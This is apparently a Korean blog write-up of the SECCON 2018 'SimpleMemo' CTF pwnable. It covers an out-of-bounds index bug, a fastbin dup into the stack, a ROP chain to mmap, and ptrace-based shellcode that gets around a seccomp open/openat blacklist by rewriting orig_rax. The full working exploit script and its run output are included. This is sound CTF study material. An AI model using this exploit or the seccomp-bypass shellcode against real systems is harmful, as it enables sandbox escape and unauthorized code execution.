Category : pwnable
SimpleMemo
494
2 Solves
Host: smemo.pwn.seccon.jp
Port: 36384
Summary : seccomp bypass, orig_rax
- 간만에 first blood 획득한 문제. 쓸데없는 삽질로 시간을 2배는 소요했다. google ctf 갔던 팀들이 나왔으면 못 땄을듯. 삽질 시간을 더 줄여야한다.
1. Vulnerability
1.1. Concept
- memo를 add/show/delete 하는 기능을 가진 바이너리. 바이너리 구조는 굉장히 간단하다.
- size 0x28의 heap chunk를 선언하여 사용자의 입력을 받고 해당 chunk의 주소를 memo_table에 저장한다.
1.2. OOB memo access -> arbitrary print, free
- 작성한 memo를 show하는 기능과 delete하는 기능에서 memo index의 boundary check를 하지 않아 memory에 존재하는 임의의 주소를 print하거나 free할 수 있다.
- 원하는 주소 값을 stack에 쓸 수 있어야하는데, 마침 getint 함수에서 stack에 0x80만큼의 data를 입력받는다. 이 때 stack에 남는 찌꺼기를 oob print, free에 활용할 수 있다.
- 아래와 같이 index를 입력받을 때 puts_got 같은 주소를 함께 포함시키는 식으로 활용 가능
pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90
print hex(pie_base)
print hex(stack)
puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00')) - 0x6f690
2. Exploitation
2.1. RIP Control
- fastbin dup into stack으로 stack에 memo를 할당시켜서 getnline 내부함수의 return address를 덮어썼다.
- (생각보다 위치잡는게 까다로워서 오래걸렸다.)
- rip 를 system("sh")와 one gadget 으로 덮어씌워 /bin/sh를 실행했지만 이상하게 쉘이 뜨지 않았다.
cmd_add('pwn3r_1') # 0
cmd_add('pwn3r_2') # 1
chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))
cmd_delete('0') # 0
cmd_delete('1') # 1
cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00')) # 0
cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing') # 1
cmd_add('nothing') # 0
cmd_show('-2'.ljust(0x7e, 'B'))
ru('> ')
sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))
2.2. Seccomp blacklist
- 쉬운 문제들이 열리고 있던 시기라 이 문제 역시 간단한 문제인줄 알고 자세히 안봤었는데, init 함수를 보니 아래와 같이 seccomp를 설정하는 함수가 존재했다.
- seccomp tools로 어떤 제약이 걸렸는지 확인한다.
$ seccomp-tools dump ./memo
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0008
0007: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
architecture == x86_64 && syscall number < 0x4000000 && syscall number not in [sys_open, sys_openat]
대략 이런 조건이다. open/openat이 막혀있어서 flag를 읽을 수도 없고 execve를 불러도 결국 필수 파일들 읽어올때 open을 불러야하므로 암것도 못한다.원래는 실행 중 32bit mode로 변경하여 x86과 x86_64 system call number 차이를 이용하려 했지만 막혀있다. (이것도 자세히 안보고 payload 짰다가 시간날림.)
아이디어를 떠올리던 중 ptrace 를 이용해 우회할 방법이 있을지 검색했다.
2.3. Bypass seccomp blacklist
- 검색 결과 아래 gist에 있는 코드를 발견하게 되었고 ptrace 를 이용하면 우회가 가능하다는 것을 확인했다.
https://gist.github.com/thejh/8346f47e359adecd1d53
- 코드를 요약하면 아래와 같다.
clone (parent, child)
parent : waitpid(childpid, NULL, 0)
child : ptrace(PTRACE_TRACEME, 0, NULL, NULL)
child : syscall(SYS_tkill, syscall(SYS_gettid), SIGSTOP)
parent : ptrace(PTRACE_SYSCALL, childpid, NULL, NULL)
parent : waitpid(childpid, NULL, 0)
child : syscall(SYS_getpid, (unsigned long)"/etc/passwd", O_RDONLY);
parent : ptrace(PTRACE_GETREGS, childpid, NULL, ®s)
parent : regs.orig_rax = SYS_open;
parent : ptrace(PTRACE_SETREGS, childpid, NULL, ®s)
parent : ptrace(PTRACE_DETACH, childpid, NULL, NULL)
child : ssize_t n = read(r, buf, sizeof(buf));
child : write(1, buf, n);
핵심은 debuggee(child)가 system call을 부를 때 parent가 후킹하여 orig_rax를 변경하면, orig_rax를 기준으로 system call을 호출하는 것이다.
위 과정을 전부 ROP payload로 작성하는 것은 너무 힘든 것 같아 mmap으로 rwx memory를 할당하고, seccomp blacklist를 우회하는 shellcode를 작성했다.
2.4. Exploit
#!/usr/bin/python
from pwn import *
def cmd_add(memo):
ru('> ')
sl('1')
ru('Input memo > ')
sl(memo)
rl()
def cmd_show(idx):
ru('> ')
sl('2')
ru('Input id > ')
sl(str(idx))
rl()
data = rl(False)
return data
def cmd_delete(idx):
ru('> ')
sl('3')
ru('Input id > ')
sl(str(idx))
rl()
#s = process('./memo')
s = remote('smemo.pwn.seccon.jp', 36384)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send
raw_input('>')
pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90
print hex(pie_base)
print hex(stack)
puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00'
libc_gets = libc_base + 0x6ed80
libc_pop_rdi = libc_base + 0x0021102
libc_pop_rsi = libc_base + 0x000202e8
libc_pop_rdx = libc_base + 0x001150a6
libc_pop_rcx = libc_base + 0x000ea69a
# > 0x000ea69a : pop rcx; pop rbx; ret
libc_pop_r8 = libc_base + 0x00135136
libc_mov_r9 = libc_base + 0x0002185a
#> 0x0002185a : mov r9, r14; call rbx
libc_pop_r14 = libc_base + 0x000202e7
libc_pop_rsp = libc_base + 0x0001fb13
libc_pr = libc_base + 0x206c4
# > 0x000206c4 : pop r13; ret
libc_mmap = libc_base + 0x101680
print hex(libc_base)
cmd_add('pwn3r_1') # 0
cmd_add('pwn3r_2') # 1
chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))
cmd_delete('0') # 0
cmd_delete('1') # 1
cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00')) # 0
cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing') # 1
cmd_add('nothing') # 0
cmd_show('-2'.ljust(0x7e, 'B'))
ru('> ')
sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))
new_mem = 0xdeadb000
stage2 = ''
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem)
stage2 += p64(libc_pop_rsi)
stage2 += p64(0x1000)
stage2 += p64(libc_pop_rdx)
stage2 += p64(7)
stage2 += p64(libc_pop_rcx)
stage2 += p64(0x22)
stage2 += p64(libc_pr) # rbx
stage2 += p64(libc_pop_r8)
stage2 += p64(0xffffffffffffffff)
stage2 += p64(libc_pop_r14)
stage2 += p64(0)
stage2 += p64(libc_mov_r9)
stage2 += p64(libc_mmap)
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem + 0x200)
stage2 += p64(libc_gets)
stage2 += p64(libc_pr+2)
stage2 += p64(new_mem + 0x200)
sl(stage2)
stage3 = ''
context.arch = 'amd64'
PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_SYSCALL = 24
PTRACE_GETREGS = 12
PTRACE_DETACH = 17
clone = asm('''
/* clone and branch */
mov rdi, 0x1200011
mov rsi, 0
mov rdx, 0
mov r10, rsp
add r10, 0x500
mov qword ptr [r10], 0
mov rax, 56
syscall
test rax, rax
''')
debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax
/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall
/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall
/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall
/* ptrace(PTRACE_GETREGS, childpid, NULL, ®s */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
mov rax, 0x65
syscall
/* ptrace(PTRACE_SETREGS, childpid, NULL, ®s) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
mov qword ptr [r9], 0x0000000000000002
mov rax, 0x65
syscall
/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall
mov rax, 0x3c
syscall
''')
debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall
/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall
/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
''' +
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))
stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee
sl(stage3)
s.interactive()
s.close()
$ python ex.py
[+] Opening connection to smemo.pwn.seccon.jp on port 36384: Done
>
0x55f8f149b000
0x7ffe0e221840
0x7fbb0cacb000
[*] Switching to interactive mode
SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
$
Flag : SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35}
'CTF > 2018' 카테고리의 다른 글
INCTF 2018 - lost (0) | 2018.11.04 |
---|---|
INCTF 2018 - yawn (0) | 2018.11.03 |
HITCON CTF 2018 - groot (0) | 2018.10.30 |
Tokyo Western CTF 2018 - BBQ (0) | 2018.09.10 |
Tokyo Western CTF 2018 - swap Returns (0) | 2018.09.03 |